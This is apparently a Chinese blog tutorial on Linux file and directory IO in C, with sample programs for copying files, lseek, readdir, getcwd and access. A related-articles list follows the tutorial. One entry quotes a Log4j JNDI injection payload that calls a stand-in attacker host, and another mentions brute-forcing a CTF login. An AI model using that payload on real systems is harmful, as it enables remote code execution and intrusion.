文件IO,目录IO的学习
一,头文件的添加
#ifndef _HEAD_H_ //防止重新定义宏
#define _HEAD_H_#include<stdio.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<fcntl.h>
#include<unistd.h>
#include<string.h>#endif
用法:#include“head.h” -> 在当前目录下寻找头文件
二,主函数的传参
写法:

输出结果:

理解图:

主函数的传参中,argc是传参的个数 ,const char *argv[]是一个指针数组,存放的指针类型数据
argv【n】,n=1/2/3 分别代表三个指针参数
标准示例:
int main(int argc,const char *argv[]) //argc是传参的个数 *argv[]是一个指针数组,存放的指针类型数据
{int fsrc = 0; //定义文件描述符的变量int fdst = 0;char tmpbuff[4096] = {0};ssize_t nret = 0; //定义接收read的返回值的变量if(argc!=3) //若是主函数传参数量不为3,报错{fprintf(stderr,"Usage:./a.out srcfilename dstfilename\n");return -1;}fsrc = open(argv[1],O_RDONLY);if(fsrc == -1){perror("fail to open");return -1;}fdst = open(argv[2],O_WRONLY | O_CREAT | O_TRUNC,0664);if (-1 == fdst){perror("fail to open");return -1;}while (1){nret = read(fsrc, tmpbuff, sizeof(tmpbuff)); //接收的返回值,若为0,代表读完 了。跳出循环if (nret <= 0){break;}write(fdst, tmpbuff, nret); //写入数据,从tmpbuff中写入进f dst中,字节为接收的读的返回值的数量}close(fsrc);close(fdst);return 0;
}
三,文件IO的拓展
1.标准IO是对文件IO的封装(的调用):
2.文件对应的IO操作类型:

3.lseek:
off_t lseek(int fd, off_t offset, int whence);
功能:
重新设定文件描述符的偏移量
参数:
fd:文件描述符
offset:偏移量
whence:
SEEK_SET 文件开头
SEEK_CUR 文件当前位置
SEEK_END 文件末尾
返回值:
成功返回当前偏移量(off_t 类型的)
失败返回-1
标准用法:
int main(void)
{int fd = 0;off_t len = 0; //定义一个off_t 类型的变量接收 偏移量的长度char ch = 0; //定义一个字符变量,用来作为写入数据的地址fd = open("a.txt",O_WRONLY | O_CREAT | O_TRUNC, 0664);if(fd == -1){perror("fail to open");return -1;}len = lseek(fd,10,SEEK_SET); //从开头偏移10个长度printf("len = %ld\n",len);ch = 'a';write(fd,&ch,1);len = lseek(fd,-5,SEEK_CUR);printf("len = %ld\n",len);ch = 'b';write(fd,&ch,1);len = lseek(fd,0,SEEK_SET);printf("len = %ld\n",len);ch = 'c';write(fd,&ch,1);close(fd);return 0;
四,目录IO:
1.mkdir
int mkdir(const char *pathname, mode_t mode);
功能:
创建目录文件
参数:
pathname:文件路径
mode:文件的权限
返回值:
成功返回0
失败返回-1
rwx rwx rwx
111 111 111(权限有权为1)
0777(八进制转换,作为权限的用途)
r: 目录中是否能够查看文件
w: 目录中是否能够新建文件
x: 目录是否能够进入
2.rmdir
int rmdir(const char *pathname);
功能:
删除空目录文件
返回值:
成功返回0
失败返回-1
3.opendir
DIR *opendir(const char *name);
功能:
打开目录获得目录流指针
参数:
name:目录文件路径
返回值:
成功返回目录流指针
失败返回NULL
4.closedir
int closedir(DIR *dirp);
功能:
关闭目录流指针
5.readdir
struct dirent *readdir(DIR *dirp);
功能:
从目录流中读取下一个目录项的结构体信息
参数:
dirp:目录流指针
返回值:
成功返回包含目录项信息的空间首地址
失败返回NULL
读到文件末尾返回NULL
结构体的成员: struct dirent {
ino_t d_ino; /* Inode number */
off_t d_off; /* Not an offset; see below */
unsigned short d_reclen; /* Length of this record */
unsigned char d_type; /* Type of file; not supported
by all filesystem types */
char d_name[256]; /* Null-terminated filename */
};
一个目录的创建,打开,读取信息,关闭的标准写法:
int main(void)
{DIR *dp = NULL; //定义一个这种类型的指针用来接收opendir的地址(为目录流指针)struct dirent *pp = NULL; //定义一个这种类型的指针用来接收readdir的返回值(为结构体的首地址)//mkdir("mulu",0777);//创建一个 ”mulu“ 的目录,0777为权限dp = opendir("mulu"); //打开mulu,用dp接收if(dp == NULL){perror("fail to opendir");return -1;}while(1){pp = readdir(dp); //读目录流指针的内容(是一个结构体),返回值为结构体的首地址,用pp接收if(pp == NULL){break; //若接收不到跳出}if(*pp -> d_name == '.'){continue; //若为‘.’(隐藏目录),跳出重新循环,不做打印}printf("%s\n",pp->d_name); //打印pp(结构体首地址)中 d_name 成员的内容}closedir(dp);return 0;
6.chdir
int chdir(const char *path);
参数: const char *path - 文件的目录名或者“操作指令(如..)
功能:
切换当前代码的工作路径
7.getcwd
char *getcwd(char *buf, size_t size);
参数: char *buf - 存放获得当前目录的绝对路径的地址
size_t size -
功能:
获得当前目录的绝对路径
切换当前工作路径以及获得当前路径打印:
int main(void)
{char tmpbuff[4096] = {0}; //定义一个字符数组存放获取地址的getcwd(tmpbuff,sizeof(tmpbuff)); //获取当前目录的绝对路径放在tmpbuff中printf("tmpbuff = %s\n",tmpbuff);chdir("..");getcwd(tmpbuff,sizeof(tmpbuff));printf("tmpbuff = %s\n",tmpbuff);return 0;
}
主函数的传参实现目录的信息的读取和打印:
// 主函数的传参实现目录的信息的读取和打印int ListDir(const char *pdorname) //
{DIR *dp = NULL; //目录流指针struct dirent *pp = NULL; //接收readdir返回值为结构体的首地址char tmpbuff[4096] = {0}; //存放字符串dp = opendir(pdorname); //目录流指针接收返回值if(dp == NULL){perror("fail to opendir");return -1;}while(1){pp = readdir(dp); //接收返回值,文件信息的结构体首地址if(pp == NULL){break; //为空读完跳出(递归的结束,也是目录信息的读取的结束)}if(pp -> d_name[0] == '.'){continue; //判断隐藏文件(是的话不做输出)}sprintf(tmpbuff,"%s/%s",pdorname,pp -> d_name); //sprintf是将后面计算出来的"%s/%s"中的内容都输入到tmpbuff中(拼接作用)//pdorname是接收的目录地址 pp->d_name 是文件信息结构体中的文件名字中的内容printf("%s\n",tmpbuff);if(pp -> d_type == DT_DIR) //如果结构体 -> 文件类型 == 目录类型的{ListDir(tmpbuff); //递归(此时tmpbuff作为目录地址)}}closedir(dp);return 0;}int main(int argc,const char *argv[])
{if(argc != 2) //满足参数为2个{fprintf(stderr,"Usage:./a.out dirname\n");return -1;}ListDir(argv[1]); //调用函数return 0;
}
8.access
int access(const char *pathname, int mode);
功能:
检测调用函数的程序对文件是否拥有指定权限
参数:
pathname:文件路径
mode:
R_OK 检测是否拥有读权限
W_OK 检测是否拥有写权限
X_OK 检测是否拥有执行权限
F_OK 检测文件是否存在
返回值:
有该权限返回0
出错返回-1
代码实现:
//检测文件是否存在
int main(int argc,const char *argv[])
{int ret = 0;if(argc!=2){fprintf(stderr,"Usage:./a.out dirname\n");return -1;}ret = access(argv[1],F_OK);if(ret == 0){printf("该文件存在\n");}else{printf("该文件不存在\n");}
}
相关文章:
文件IO,目录IO的学习
一,头文件的添加 #ifndef _HEAD_H_ //防止重新定义宏 #define _HEAD_H_#include<stdio.h> #include<sys/stat.h> #include<sys/types.h> #include<fcntl.h> #include<unistd.h> #include<string.h>#endif…...
leetcode(动态规划)53.最大子数组和(C++详细解释)DAY12
文章目录 1.题目示例提示 2.解答思路3.实现代码结果 4.总结 1.题目 给你一个整数数组 nums ,请你找出一个具有最大和的连续子数组(子数组最少包含一个元素),返回其最大和。 子数组 是数组中的一个连续部分。 示例 提示 2.解答思…...
BUGKU-WEB bp
题目描述 题目截图如下: 进入场景看看: 解题思路 提示说:弱密码top1000?z???(爆破?)先看看源码有没有提示 相关工具 Burp Suit 爆破top1000字典,点击下载 解题步骤 随便测试账号密码admin、admin 得到提…...
代码的复用——Mixin使用例子
Mixin(混入)是一种在Sass和Vue.js等框架中常用的技术,用于分发和重用代码。以下是Sass和Vue.js中Mixin的使用举例。 在Sass中,Mixin允许你定义可以在整个样式表中重复使用的样式。以下是一个Sass中Mixin的使用例子: …...
easyx 枪声模拟器
作品介绍:枪声模拟器 简介: “枪声模拟器”是一个基于Windows平台的简单程序,它使用C++编写,主要目的是通过模拟枪声来增强用户的体验。程序使用了图形库来展示一个蓝色的背景屏幕,并提示用户等待片刻后按空格键模拟开枪。当用户按下空格键时,程序会播放预先设定的枪声音…...
python 与 neo4j 交互(py2neo 使用)
参考自:neo4j的python.py2neo操作入门 官方文档:The Py2neo Handbook — py2neo 2021.1 安装:pip install py2neo -i https://pypi.tuna.tsinghua.edu.cn/simple 1 节点 / 关系 / 属性 / 路径 节点(Node)和关系(relationship)是构成图的基础…...
Python基础笔记11
Python小记 一行代码实现数字交换 C:\Users\mt>python Python 3.9.1 (tags/v3.9.1:1e5d33e, Dec 7 2020, 17:08:21) [MSC v.1927 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more informa…...
vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。…...
智慧城市驿站:智慧公厕升级版,打造现代化城市生活的便捷配套
随着城市化进程的加速,人们对城市生活质量的要求也越来越高。作为智慧城市建设的一项重要组成部分,多功能城市智慧驿站应运而生。它集合了信息技术、设计美学、结构工艺、系统集成、环保节能等多个亮点,将现代科技与城市生活相融合࿰…...
大模型爆款应用fabric_构建优雅的提示
项目地址:https://github.com/danielmiessler/fabric 1 引言 目前 fabric 已经获得了 5.3K Star,其中上周获得了 4.2K,成为了上周热榜的第二名(第一名是免费手机看电视的 Android 工具),可以算是爆款应用…...
js 对象属性描述符详解
文章目录 一、value二、writable三、访问器属性:get和set四、configurable五、注意事项 在 JavaScript 中,我们经常需要控制对象属性的特性,包括可写、可枚举等,本篇博客将介绍常见的对象属性使用及其特点。 本篇博客我们用首先O…...
文件操作QFile
C中,QT的QFile 类是 Qt 框架中用于文件处理的一个类,它继承自 QIODevice。该类提供了一系列用于文件读写的功能,支持文本和二进制文件的处理。QFile 允许开发者方便地在本地文件系统中创建、读取、写入和操作文件。 主要功能 文件打开与关闭…...
【Langchain】+ 【baichuan】实现领域知识库【RAG】问答系统
本项目使用Langchain 和 baichuan 大模型, 结合领域百科词条数据(用xlsx保存),简单地实现了领域百科问答实现。 from langchain.text_splitter import CharacterTextSplitter, RecursiveCharacterTextSplitter from langchain_co…...
Anaconda、conda、pip、virtualenv的区别
① Anaconda Anaconda是一个包含180的科学包及其依赖项的发行版本。其包含的科学包包括:conda, numpy, scipy, ipython notebook等。 Anaconda具有如下特点: ▪ 开源 ▪ 安装过程简单 ▪ 高性能使用Python和R语言 ▪ 免费的社区支持 其特点的实现…...
【数据结构】每天五分钟,快速入门数据结构(一)——数组
目录 一.初始化语法 二.特点 三.数组中的元素默认值 四.时间复杂度 五.Java中的ArrayList类 可变长度数组 1 使用 2 注意事项 3 实现原理 4 ArrayList源码 5 ArrayList方法 一.初始化语法 // 数组动态初始化(先定义数组,指定数组长度…...
NBlog个人博客部署维护过程记录 -- 后端springboot + 前端vue
项目是fork的Naccl大佬NBlog项目,页面做的相当漂亮,所以选择了这个。可以参考2.3的效果图 惭愧,工作两年了也没个自己的博客系统,趁着过年时间,开始搭建一下. NBlog原项目的github链接:Naccl/NBlog: &#…...
WireShark 安装指南:详细安装步骤和使用技巧
Wireshark是一个开源的网络协议分析工具,它能够捕获和分析网络数据包,并以用户友好的方式呈现这些数据包的内容。Wireshark 被广泛应用于网络故障排查、安全审计、教育及软件开发等领域。接下将讲解Wireshark的安装与简单使用。 目录 Wireshark安装步骤…...
PyTorch detach():深入解析与实战应用
PyTorch detach():深入解析与实战应用 🌵文章目录🌵 🌳引言🌳🌳一、计算图与梯度传播🌳🌳二、detach()函数的作用🌳🌳三、detach()与requires_graddz…...
uniapp 开发一个密码管理app
密码管理app 介绍 最近发现自己的账号密码真的是太多了,各种网站,系统,公司内网的,很多站点在登陆的时候都要重新设置密码或者通过短信或者邮箱重新设置密码,真的很麻烦 所以准备开发一个app用来记录这些站好和密码…...
Postman详细攻略
🍅 视频学习:文末有免费的配套视频可观看 🍅 点击文末小卡片,免费获取软件测试全套资料,资料在手,涨薪更快 一、Postman背景介绍 用户在开发或者调试网络程序或者是网页B/S模式的程序的时候是需要一些方法…...
MPNet:旋转机械轻量化故障诊断模型详解python代码复现
目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...
Java 语言特性(面试系列2)
一、SQL 基础 1. 复杂查询 (1)连接查询(JOIN) 内连接(INNER JOIN):返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...
Spark 之 入门讲解详细版(1)
1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室(Algorithms, Machines, and People Lab)开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目,8个月后成为Apache顶级项目,速度之快足见过人之处&…...
【第二十一章 SDIO接口(SDIO)】
第二十一章 SDIO接口 目录 第二十一章 SDIO接口(SDIO) 1 SDIO 主要功能 2 SDIO 总线拓扑 3 SDIO 功能描述 3.1 SDIO 适配器 3.2 SDIOAHB 接口 4 卡功能描述 4.1 卡识别模式 4.2 卡复位 4.3 操作电压范围确认 4.4 卡识别过程 4.5 写数据块 4.6 读数据块 4.7 数据流…...
Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility
Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility 1. 实验室环境1.1 实验室环境1.2 小测试 2. The Endor System2.1 部署应用2.2 检查现有策略 3. Cilium 策略实体3.1 创建 allow-all 网络策略3.2 在 Hubble CLI 中验证网络策略源3.3 …...
c#开发AI模型对话
AI模型 前面已经介绍了一般AI模型本地部署,直接调用现成的模型数据。这里主要讲述讲接口集成到我们自己的程序中使用方式。 微软提供了ML.NET来开发和使用AI模型,但是目前国内可能使用不多,至少实践例子很少看见。开发训练模型就不介绍了&am…...
QT: `long long` 类型转换为 `QString` 2025.6.5
在 Qt 中,将 long long 类型转换为 QString 可以通过以下两种常用方法实现: 方法 1:使用 QString::number() 直接调用 QString 的静态方法 number(),将数值转换为字符串: long long value 1234567890123456789LL; …...
RNN避坑指南:从数学推导到LSTM/GRU工业级部署实战流程
本文较长,建议点赞收藏,以免遗失。更多AI大模型应用开发学习视频及资料,尽在聚客AI学院。 本文全面剖析RNN核心原理,深入讲解梯度消失/爆炸问题,并通过LSTM/GRU结构实现解决方案,提供时间序列预测和文本生成…...
Yolov8 目标检测蒸馏学习记录
yolov8系列模型蒸馏基本流程,代码下载:这里本人提交了一个demo:djdll/Yolov8_Distillation: Yolov8轻量化_蒸馏代码实现 在轻量化模型设计中,**知识蒸馏(Knowledge Distillation)**被广泛应用,作为提升模型…...
使用LangGraph和LangSmith构建多智能体人工智能系统
现在,通过组合几个较小的子智能体来创建一个强大的人工智能智能体正成为一种趋势。但这也带来了一些挑战,比如减少幻觉、管理对话流程、在测试期间留意智能体的工作方式、允许人工介入以及评估其性能。你需要进行大量的反复试验。 在这篇博客〔原作者&a…...
